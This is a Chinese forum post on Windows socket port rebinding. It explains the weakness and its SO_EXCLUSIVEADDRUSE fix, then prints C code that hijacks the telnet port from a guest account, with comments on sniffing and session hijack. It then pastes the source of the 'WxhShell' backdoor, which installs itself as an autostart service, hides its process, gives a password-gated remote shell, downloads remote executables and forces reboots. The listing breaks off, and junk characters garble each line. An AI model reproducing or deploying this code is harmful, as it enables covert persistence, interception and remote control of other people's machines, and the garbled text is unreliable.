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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u^|XQWR$:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `MlQPLH  
kB_GL>fc  
  saddr.sin_family = AF_INET; (]^9>3{|  
$)vljM<<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nV,qC .z  
=Bi>$Ly  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]8*g%  
+'2Mj|d@p  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gpVZZ:~  
Yvs)H'n=  
  这意味着什么?意味着可以进行如下的攻击: GN?^7kI  
f}0(qN/G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 d3_aFs Q  
9e^[5D=L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [!,&A{.!  
c<wsWs 4V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r#JE7uneT  
)9 5&-Hs  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {'E%SIRZ)  
1T!b# x4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2HoTj|  
tm@&f  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L TZ3r/  
[0El z@.C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6C4c.+S  
C$SuFL(pb  
  #include g2JNa?z  
  #include [U]U *x  
  #include \Pi\c~)Pr  
  #include    9Iq[@v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *r@7:a5  
  int main() b4ZZyw  
  { 8s-y+M@.  
  WORD wVersionRequested; E'j>[C:U  
  DWORD ret; ZZ?0%9  
  WSADATA wsaData; E?z3 D*U  
  BOOL val; [-_3Zr  
  SOCKADDR_IN saddr; IP7j)SM!  
  SOCKADDR_IN scaddr; qc2j}D0  
  int err; q,F\8M\$  
  SOCKET s; ri1D*CS  
  SOCKET sc; z6]dF"N  
  int caddsize; >0Y >T6!  
  HANDLE mt; x :\+{-  
  DWORD tid;   ^.p({6H  
  wVersionRequested = MAKEWORD( 2, 2 ); ^90';ACFy  
  err = WSAStartup( wVersionRequested, &wsaData ); So{/V%  
  if ( err != 0 ) { N9tH0  
  printf("error!WSAStartup failed!\n"); x2=Bu#Y  
  return -1; fz\C$[+u  
  } <{ GpAf8-  
  saddr.sin_family = AF_INET; :JH#*5%gQ:  
   y^zII5|s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U>w#`Sy[  
;{EIx*<d  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }(A`aB_  
  saddr.sin_port = htons(23); y G)xsY V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xyy;BO:  
  { Atc9[<~WG  
  printf("error!socket failed!\n"); 1K?RA*aj  
  return -1; ;>np2K<`  
  } GK .^Gd  
  val = TRUE; !TvNT}4Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 H )hO/1 m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L[lX?g?Ob  
  { !iA 3\Ai"  
  printf("error!setsockopt failed!\n"); `-W.uOZ0  
  return -1;  a?S5 =  
  } E-IVv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :+NZW9_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 S "'0l S   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @&?E3?5ll  
`|coA2$rw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u^|c_5J(  
  { $9+|_[ ]v.  
  ret=GetLastError(); FlGU1%]m  
  printf("error!bind failed!\n"); pqe7a3jr  
  return -1; |eykb?j`  
  } uzg(C#sp  
  listen(s,2); WJWi'|C4  
  while(1) k-IL%+U  
  { p[R4!if2  
  caddsize = sizeof(scaddr); Q,R>dkS  
  //接受连接请求 (VD Y]Q)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); SW5V:|/  
  if(sc!=INVALID_SOCKET) NIgqdEu1  
  { 2?P H||  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %jk7JDvl  
  if(mt==NULL) ~hD!{([  
  { n2} (Pt.  
  printf("Thread Creat Failed!\n"); >*s_)IH2  
  break; EP,j+^RVf  
  } X3e&c  
  } 2[~|#0x  
  CloseHandle(mt); W*S}^6ZT`  
  } "| Oj!&0  
  closesocket(s); pHQrjEF*  
  WSACleanup(); +7\$wc_1I@  
  return 0; \ vn!SO7  
  }   \]C_ul'  
  DWORD WINAPI ClientThread(LPVOID lpParam) "uCO?hv0  
  { -V g(aD  
  SOCKET ss = (SOCKET)lpParam; B@cC'F#G  
  SOCKET sc; ,ZGU\t  
  unsigned char buf[4096]; V=^B7a.;>  
  SOCKADDR_IN saddr; U\*]cw  
  long num; VyX5MVh  
  DWORD val; C7*n<+e  
  DWORD ret; :I_p4S.)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 r$[`A_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   e}dGK=`  
  saddr.sin_family = AF_INET; ,w`g + 9v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >~@O\n-t  
  saddr.sin_port = htons(23); $7h]A$$Fv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4Vtu g>  
  { Q^\m@7O :  
  printf("error!socket failed!\n"); _%g L  
  return -1; P:D;w2'Q  
  } 8\WV.+  
  val = 100; RW~!)^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yY[9\!  
  { q QcQnd2K  
  ret = GetLastError(); mR["xDHD  
  return -1; ^'9.VVyz  
  } w*?SGW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %xt;&HE  
  { Q,nJz*AJ  
  ret = GetLastError(); UQZl:DYa  
  return -1; [Ef6@  
  } QB uX#bDV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5(zdM)Y7  
  { Q XSS  
  printf("error!socket connect failed!\n"); |I[/Fl:  
  closesocket(sc); "; 1@f"kw  
  closesocket(ss); n6AA%? 5  
  return -1; RW{y.WhB  
  } W4;/;[/L  
  while(1) GCf,Gfmr  
  { x~Y{ {  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H;nEU@>"Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'C4cS[1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s$%t2UaV  
  num = recv(ss,buf,4096,0); Vv54;Js9  
  if(num>0)  `j1oxJm  
  send(sc,buf,num,0); azz=,^U#  
  else if(num==0) |\zzOfaO  
  break; apOXcZ   
  num = recv(sc,buf,4096,0); xKR\w!+Z'  
  if(num>0) *b'4>U  
  send(ss,buf,num,0); C@`rg ILc  
  else if(num==0) <Y]e  
  break; "uli~ {IU  
  } xi51,y+(5  
  closesocket(ss); y'aK92pF:  
  closesocket(sc); cX!C/`ew>  
  return 0 ; q9 :g  
  } +GJPj(S  
"1YwV~M5  
>?Duz+W)  
========================================================== 1:JwqbZKJ  
[#=IKsO'R6  
下边附上一个代码,,WXhSHELL {J1iheuS}  
%afN&T  
========================================================== hkb&]XWi[  
9tX+n{i  
#include "stdafx.h" G9^xv  
vgE -t  
#include <stdio.h> )I#{\^  
#include <string.h> mC0_rN^Aj  
#include <windows.h> -"NK"nb  
#include <winsock2.h> \TZSn1isZX  
#include <winsvc.h> e)= " Fq!  
#include <urlmon.h> ZNVrja*  
Sn S$5o  
#pragma comment (lib, "Ws2_32.lib") b'``0OB)  
#pragma comment (lib, "urlmon.lib") z&cM8w:  
| C^.[)  
#define MAX_USER   100 // 最大客户端连接数 k#bG&BF  
#define BUF_SOCK   200 // sock buffer FDFwx|  
#define KEY_BUFF   255 // 输入 buffer <UF0Xc&X'  
iC3C~?,7  
#define REBOOT     0   // 重启 |Fz ^(US  
#define SHUTDOWN   1   // 关机 [^Bjmw[7  
?&'Kw>s@  
#define DEF_PORT   5000 // 监听端口 O\CnKNk,  
Y[l<fbh(}  
#define REG_LEN     16   // 注册表键长度 ^,0Lr$+  
#define SVC_LEN     80   // NT服务名长度 ue^HhZ9  
GE`1j'^-  
// 从dll定义API &|j0GP&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CT5s`v!s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N>Ih2>8t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W]oa7VAq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 76bMy4re  
{,i-V57-h  
// wxhshell配置信息 l$1NI#&  
struct WSCFG { m.p $f$A_  
  int ws_port;         // 监听端口 C6EGM/m8  
  char ws_passstr[REG_LEN]; // 口令 C{,^4Eh3r  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9dw* ++  
  char ws_regname[REG_LEN]; // 注册表键名 KF6C=,Yc%  
  char ws_svcname[REG_LEN]; // 服务名 ~o#mX?'7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NT0n [o^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]J[d8S5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S)g:+P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Fgi`g{N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }K8e(i6z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LPBa!fq  
_P=+\ [|y  
}; tAE(`ow/Ur  
5JhvYsf3_  
// default Wxhshell configuration !ej]'>V,X  
struct WSCFG wscfg={DEF_PORT, x!fG%o~h  
    "xuhuanlingzhe", QyxUK}6mr  
    1, ]=VRct "  
    "Wxhshell", ^*i0~_  
    "Wxhshell", e'>q( B  
            "WxhShell Service", I 1n,c d[  
    "Wrsky Windows CmdShell Service", qEuO@oE  
    "Please Input Your Password: ", &e6UEG  
  1, (8aj`> y  
  "http://www.wrsky.com/wxhshell.exe", J^`5L7CO  
  "Wxhshell.exe" -uWV( ,|  
    }; Xp_m=QQsm  
{g#4E0.A!  
// 消息定义模块 `vMhrn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5VP0Xa ~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =w}JAEE|(i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g0bYO!gC r  
char *msg_ws_ext="\n\rExit."; gs;^SRE I  
char *msg_ws_end="\n\rQuit."; ymyzbE  
char *msg_ws_boot="\n\rReboot..."; J,:&U wkv  
char *msg_ws_poff="\n\rShutdown..."; y] c1x=x  
char *msg_ws_down="\n\rSave to "; hVmnXT 3Z  
&oMWs]0  
char *msg_ws_err="\n\rErr!"; a/\{NHs6"5  
char *msg_ws_ok="\n\rOK!"; }^iqhUvT F  
*2u~5 Kc<  
char ExeFile[MAX_PATH]; BGBHA"5fz  
int nUser = 0; mM72>1~L*  
HANDLE handles[MAX_USER]; PWyf3  
int OsIsNt; SF&2a(~s  
aUzCKX%>C  
SERVICE_STATUS       serviceStatus; 4")`}T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2?GMKd)  
}mXYS|{  
// 函数声明 cLl~4jL  
int Install(void); u*v<dsGQ  
int Uninstall(void); :u./"[G  
int DownloadFile(char *sURL, SOCKET wsh); GE(~d '  
int Boot(int flag); *s*Y uY%y  
void HideProc(void); ')!X1A{  
int GetOsVer(void); Oo@o$\+v  
int Wxhshell(SOCKET wsl); i4,p\rE0  
void TalkWithClient(void *cs); BH1h2OEe#  
int CmdShell(SOCKET sock); w^ut,`yW R  
int StartFromService(void); oR&z,%0wMK  
int StartWxhshell(LPSTR lpCmdLine); jtlRom}  
*9"x0bth  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s6@mXO:H^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HB8s[]A:D  
l@Vv%w9H  
// 数据结构和表定义 uyxYCc  
SERVICE_TABLE_ENTRY DispatchTable[] = g/JF(nkP  
{ HK8sn1j  
{wscfg.ws_svcname, NTServiceMain}, gr SF}y!3  
{NULL, NULL} _yv#v_Z  
}; J _;H  
.Zczya  
// 自我安装 RC/ 3\ '  
int Install(void) 4_kN';a4Q  
{ tLWw< )t  
  char svExeFile[MAX_PATH]; Bj1%}B  
  HKEY key; R ,qQC<  
  strcpy(svExeFile,ExeFile); ];LFv5"  
0mujf  
// 如果是win9x系统,修改注册表设为自启动 /@k#tdj  
if(!OsIsNt) { M&j|5UH%.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <mE`<-$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X n$ZA-  
  RegCloseKey(key); R,G*]/r`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :R,M Y"(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ha`N  
  RegCloseKey(key); nf/?7~3?[  
  return 0; b/'c h  
    } Mg.%&vH\  
  } N! 7}B  
} iyl i/3|  
else { RkYn6  
:.,9}\LK  
// 如果是NT以上系统,安装为系统服务 ]alc%(=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t`"m@  
if (schSCManager!=0) ]a4U\yr  
{ M_};J;  
  SC_HANDLE schService = CreateService cdt9hH`Cd  
  ( l,7& z  
  schSCManager, p0bWzIH  
  wscfg.ws_svcname, kun/KY  
  wscfg.ws_svcdisp, &rBe -52  
  SERVICE_ALL_ACCESS, &.,K@OFE}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zHb [.ry~  
  SERVICE_AUTO_START, t1adS:)s  
  SERVICE_ERROR_NORMAL, e4tIO   
  svExeFile, MqnUym  
  NULL, 0I)$!1~O)  
  NULL, yov~'S9  
  NULL, F'Y ad  
  NULL, P9bM+@5e  
  NULL 1IA1;  
  ); IC0L&;En  
  if (schService!=0) 4GRD- f[  
  { Dcvul4Q  
  CloseServiceHandle(schService); sgp.;h'  
  CloseServiceHandle(schSCManager); "l56?@-x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }tW-l*\U  
  strcat(svExeFile,wscfg.ws_svcname); J,yKO(}<C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { etr-\Cp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R&Y_  
  RegCloseKey(key); f+^6.%  
  return 0; h=7q;-@7  
    } &:&89<C'  
  } "tz6O0D  
  CloseServiceHandle(schSCManager); /I`TN5~  
} OyZR&,q  
} fCr2'+O"b  
:<qe2Z5k  
return 1; /MF 7ZvN.  
} VL9wRu;  
,Xn2xOP  
// 自我卸载 OIrm9D #  
int Uninstall(void) nje7?Vz  
{ fu "cX;  
  HKEY key; Qg*\aa94  
3f7zW3F  
if(!OsIsNt) { Y!<m8\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .k,j64 r  
  RegDeleteValue(key,wscfg.ws_regname); Ei4^__g\'  
  RegCloseKey(key); RQ,#TbAe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]RCo@QW  
  RegDeleteValue(key,wscfg.ws_regname); 6 8tyWd}  
  RegCloseKey(key); v"G1vSx)BT  
  return 0; / FcRp,"  
  } 0'Pjnk-i  
} Y Zj-%5  
} }'oU/@yG  
else { P(D>4/f3"  
pR S!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /Y0~BQC7!  
if (schSCManager!=0) `|'w]rj:"+  
{ V?{d<Ng~J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Vq'7gJj'  
  if (schService!=0) ,h*gd^i  
  { uavATnGO{B  
  if(DeleteService(schService)!=0) { AFAg3/  
  CloseServiceHandle(schService); 4=yzf  
  CloseServiceHandle(schSCManager); .|,LBc!  
  return 0; >tM4|w|  
  } @;/Pl>$|'G  
  CloseServiceHandle(schService); ?H=YJK$k  
  } 9Dx~! (  
  CloseServiceHandle(schSCManager); *qpu!z2m||  
} u[GZ~L  
} WcN4ff-  
:aNjh  
return 1; -"[4E0g0  
} v vErzUxN  
6Og@tho  
// 从指定url下载文件 (?qCtLZ  
int DownloadFile(char *sURL, SOCKET wsh) Sy8t2lk  
{ kF|$oBQ  
  HRESULT hr; k1B ](@xt  
char seps[]= "/"; !1$x4 qxS  
char *token; 7<j!qWm0  
char *file; #HcQ*BiF3  
char myURL[MAX_PATH]; ,P~e)<.  
char myFILE[MAX_PATH]; v$}^$8`  
I-#!mFl  
strcpy(myURL,sURL); u+)!C*ho  
  token=strtok(myURL,seps); mY 1l2  
  while(token!=NULL) TNu% _ 34  
  { EavBUX$O  
    file=token; )PN8HJAArh  
  token=strtok(NULL,seps); K?l|1jez(#  
  } gfL :SP8  
('z=/"(l  
GetCurrentDirectory(MAX_PATH,myFILE); 7Jb&~{DVk  
strcat(myFILE, "\\"); $[T ~<I  
strcat(myFILE, file); $JFjR@j  
  send(wsh,myFILE,strlen(myFILE),0); =D(a~8&,  
send(wsh,"...",3,0); 6qZQ20h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \]x`f3F  
  if(hr==S_OK) 3! P^?[p3  
return 0; 7F"ljkN1S  
else 48xgl1R(j  
return 1; 7'wpPXdY1  
 4!!|P  
} maa pX/J  
G@s:|oe  
// 系统电源模块 c^|8qvS $  
int Boot(int flag) Z!v,;MW  
{ >@N.jw>#T  
  HANDLE hToken; 1]} \h]*  
  TOKEN_PRIVILEGES tkp; !&U75FpN}:  
 <$nPGz)}  
  if(OsIsNt) { Q=Q+*oog  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f} c;s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?O 25k!7  
    tkp.PrivilegeCount = 1; i@/%E~W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *JOK8[Qn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1RkN^FZOxq  
if(flag==REBOOT) { YdI6 |o@vc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HS=w9:,  
  return 0; 29Uqdo  
} h%j4(v}r{C  
else { BFNO yv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HG7Qdw2+O  
  return 0; +C=vuR  
} I]ej ]46K  
  } L`t786 (M  
  else { )QAYjW!Z  
if(flag==REBOOT) { z fUDo`V~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oypLE=H  
  return 0; u8"s#%>N y  
} |1wZ`wGZ:L  
else { ],c0nz^%BR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Kj0)/Fjl+  
  return 0; % 3#g-  
} v=^^Mr"Z^  
} P~(&lu/;P  
{r&r^!K;  
return 1; k2Q[v  
} R5sEQ| E  
C5=^cH8  
// win9x进程隐藏模块 )F9IzR-&m  
void HideProc(void) Qe~C}j%  
{ 9ERdjS  
5T/+pC$e=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XzAXcxC6G  
  if ( hKernel != NULL ) pll5m7[  
  { Z{3=.z{&^=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y95  #t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eHx {[J?  
    FreeLibrary(hKernel); |(~IfSE2  
  } r%: :q^b3  
Xp;'Wa"@  
return; 6~ET@"0uK  
} ,5 ,r .  
2-S}#S}2C  
// 获取操作系统版本 #8d#Jw  
int GetOsVer(void) S> Fb'rJ3  
{ IlEU6Rs  
  OSVERSIONINFO winfo; [<+T@"y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YWPkVvI  
  GetVersionEx(&winfo); @kd$.7Y9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s\.r3U&6  
  return 1; 2 zo>`;l  
  else 65B&>`H~  
  return 0; PR;Bxy  
} ''2:ZXX  
aaVq>$G 3  
// 客户端句柄模块 i (rYc  
int Wxhshell(SOCKET wsl) ?(s9dS,7wZ  
{ C4E*q3[Y  
  SOCKET wsh; D[T\_3 W  
  struct sockaddr_in client; L{sFR^-G  
  DWORD myID; HmXxM:[4;  
89[/UxM)  
  while(nUser<MAX_USER) 8f,",NCgc  
{ yJx,4be  
  int nSize=sizeof(client); %5ov!nm7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z){fie4WM  
  if(wsh==INVALID_SOCKET) return 1; iLdUus!  
x+sSmW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C B;j[.  
if(handles[nUser]==0) KjA7x  
  closesocket(wsh); w^~s4Q_>>  
else <MxA;A  
  nUser++; }2=~7&)  
  } c7rC!v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +o.#']}Pl  
0>,i] |Y  
  return 0; j;Z hI y  
} n~,6!S  
sVO|Ghy65  
// 关闭 socket +MS*YpPW  
void CloseIt(SOCKET wsh) fN`Prs A  
{ - 6q7ze{@  
closesocket(wsh); BT:b&"AR[  
nUser--; _J>Ik2EF  
ExitThread(0); :>y5'q@R  
} dn5t7D^ x  
p3%cb?G%w  
// 客户端请求句柄 V(G{_>>  
void TalkWithClient(void *cs) [CnoMN  
{ } BP.t$_  
2%l(qf N9  
  SOCKET wsh=(SOCKET)cs; p,4S?c r>a  
  char pwd[SVC_LEN]; CyS.GdyP  
  char cmd[KEY_BUFF]; AfW:'>2  
char chr[1]; 'mU\X!- 4<  
int i,j; =+e;BYD#!  
9dg+@FS}=  
  while (nUser < MAX_USER) { `=TJw,q  
CIR2sr0a  
if(wscfg.ws_passstr) { ZB}zT9JaE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Swv =gu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?AQR\)P  
  //ZeroMemory(pwd,KEY_BUFF); ,=6;dT  
      i=0; 6%VRQ#g!  
  while(i<SVC_LEN) { %e: hVU  
$nthMx$  
  // 设置超时 _h B7;N3  
  fd_set FdRead; r^d:Po  
  struct timeval TimeOut; X)Rh&ui  
  FD_ZERO(&FdRead); YZ0Q?7l7  
  FD_SET(wsh,&FdRead); e<{Ani0  
  TimeOut.tv_sec=8; 9@(V!G  
  TimeOut.tv_usec=0; #1>c)_H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?cr^.LV|h^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (S j?BZjC  
6K.0dhl>`B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ds+0y;vc  
  pwd=chr[0]; j W|M)[KJN  
  if(chr[0]==0xd || chr[0]==0xa) { S#D6mg$Z,  
  pwd=0; _'r&'s;<z  
  break; O ~bzTn  
  } v3/G.B@=  
  i++; H+5N+AKb@  
    } ~EhM"go  
r^"pLzAx  
  // 如果是非法用户,关闭 socket L6pw'1'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ue6&)7:~  
} *Q3q(rdrp  
^paM{'J\\)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /9u12R*<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \g;-q9g;O  
[M.!7+$o  
while(1) { _%aJ/Y0Cy  
n ^C"v6X  
  ZeroMemory(cmd,KEY_BUFF); SnW>`  
_$qH\>se  
      // 自动支持客户端 telnet标准   LT '2446  
  j=0; ?F%,d{^  
  while(j<KEY_BUFF) { l:VcV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g"v-hTx  
  cmd[j]=chr[0]; 3hzKd_  
  if(chr[0]==0xa || chr[0]==0xd) { K<w$  
  cmd[j]=0; ~d6zpQf7>  
  break; y[:xGf]8@  
  } #ruL+- 8!<  
  j++; +,Z Q( ZW  
    } z)y{(gR  
(f t$ R?  
  // 下载文件 [,ns/*f3R  
  if(strstr(cmd,"http://")) { OM7EmMa;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u"1Zv!  
  if(DownloadFile(cmd,wsh)) )KD*G;<O]L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 39,7N2uY  
  else |`6*~ciUV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H(j983  
  } %:] ive]e  
  else { ]EPFyVt~3  
nx'D&, VX  
    switch(cmd[0]) { -]~vE fq+T  
  f+W %X  
  // 帮助 {`1gDKH  
  case '?': { +/~;y{G..z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]PjJy/vkjj  
    break; b$1W>  
  } 9TbRrS09  
  // 安装 *5|q_K Pt  
  case 'i': { <%]i7&8|  
    if(Install()) -|A`+1-R+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q*4=sf,>  
    else 1$ C\ `  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \B~}s}  
    break; }0~4Z)?e3  
    } Z |CL:)h  
  // 卸载 .+ g8zbD4  
  case 'r': { mXXU{IwUe  
    if(Uninstall()) g O ;oM?|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LL^WeD_Y  
    else f^?k?_~PN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [kyIF\0  
    break; RwptFO  
    } jLG Q^v"  
  // 显示 wxhshell 所在路径 a$ FO5%o  
  case 'p': { Gg=Y}S7:  
    char svExeFile[MAX_PATH]; yJAz#~PO/  
    strcpy(svExeFile,"\n\r"); /KH,11 )yc  
      strcat(svExeFile,ExeFile); kls 6Dk#  
        send(wsh,svExeFile,strlen(svExeFile),0); '9d] B^)F  
    break; 8C>\!lW"  
    } fC$(l@O?  
  // 重启 ijR,%qg  
  case 'b': { 7awh__@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [b6P }DW  
    if(Boot(REBOOT)) WvJidz?5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ij+)U`  
    else { ^6(Nu|6\@  
    closesocket(wsh); @is!VzE  
    ExitThread(0); TO~Z6NA0  
    } >")<pUQ  
    break; Q,m1mIf  
    } 9( "<NB0y  
  // 关机 (TJ )Y7E  
